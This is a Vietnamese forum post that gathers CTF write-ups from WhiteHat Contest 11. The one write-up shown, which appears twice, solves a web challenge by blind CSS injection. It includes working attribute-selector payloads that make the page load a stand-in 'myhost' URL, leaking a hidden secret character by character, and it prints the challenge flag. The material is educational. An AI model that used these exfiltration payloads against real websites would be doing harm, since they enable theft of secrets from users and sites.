-
06/07/2013
-
797
-
1.308 bài viết
[WhiteHat Contest 11] Writeup
Chào anh em, trong topic này mình tổng hợp các bài writeup của các team tại cuộc thi WhiteHat Contest 11 để anh em tiện tham khảo và học hỏi nhé!
Ultimate Design Tool - Web Security 100 - Team MeePwn
Challenge: The challenge is about CSS Injection, when you click Share your button!, you will post to push.php something like this
Wow, its CSS! I change something in {} to recheck
The color of text turn red.
Let’s view the source code:
Notice 1:
so our input will be placed after #button, let make some injection and see if it would affect
Well the text color turn to yellow.
Notice 2:
Obviously, we need to leak “secret”, it is flag of this challenge. How to?
Let me talk about CSS
CSS stands for Cascading Style Sheets and it’s used to customize how websites look.
Here the CSS syntax:
so if we want to customize span tag, just write:
But how to select value attribute? Here the solution: so our payload become
I decide to do some trick, called blind CSS injection:
If the last char of “secret” is ‘1’, then it loads my host, and i’ll know, if not, nothing happen
Move on
If the last two chars of “secret” is ’41’, then it loads my host, and i’ll know, if not, nothing happen
Combine 2 notice, final payload is:
Flag: 662f32aeb6041954dfac4a83523bc3eae72b5441
Ultimate Design Tool - Web Security 100 - Team MeePwn
Challenge: The challenge is about CSS Injection, when you click Share your button!, you will post to push.php something like this
Mã:
csscode={width:+100px;+font-size:+100px;+height:+1px;+line-height:+1px;+border-width:+1px;}&submit=Share+your+button!
Mã:
csscode={color:red;}&submit=Share+your+button!
The color of text turn red.
Let’s view the source code:
Notice 1:
Mã:
#button {color:red}
Mã:
csscode=#button {color:yellow;}&submit=Share+your+button!
Well the text color turn to yellow.
Notice 2:
Mã:
Let me talk about CSS
CSS stands for Cascading Style Sheets and it’s used to customize how websites look.
Here the CSS syntax:
Mã:
selector { property1: value1; property2: value2; }
Mã:
span { color:red }
Mã:
span[value]{color:red}
Mã:
span[value$='1']{content: url('http://myhost/?i')}
Move on
Mã:
span[value$='41']{content: url('http://myhost/?i')}
Combine 2 notice, final payload is:
Mã:
csscode=span[value='662f32aeb6041954dfac4a83523bc3eae72b5441'] {content: url('http://myhost/?i')}&submit=Share%2Byour%2Bbutton!
Chỉnh sửa lần cuối bởi người điều hành: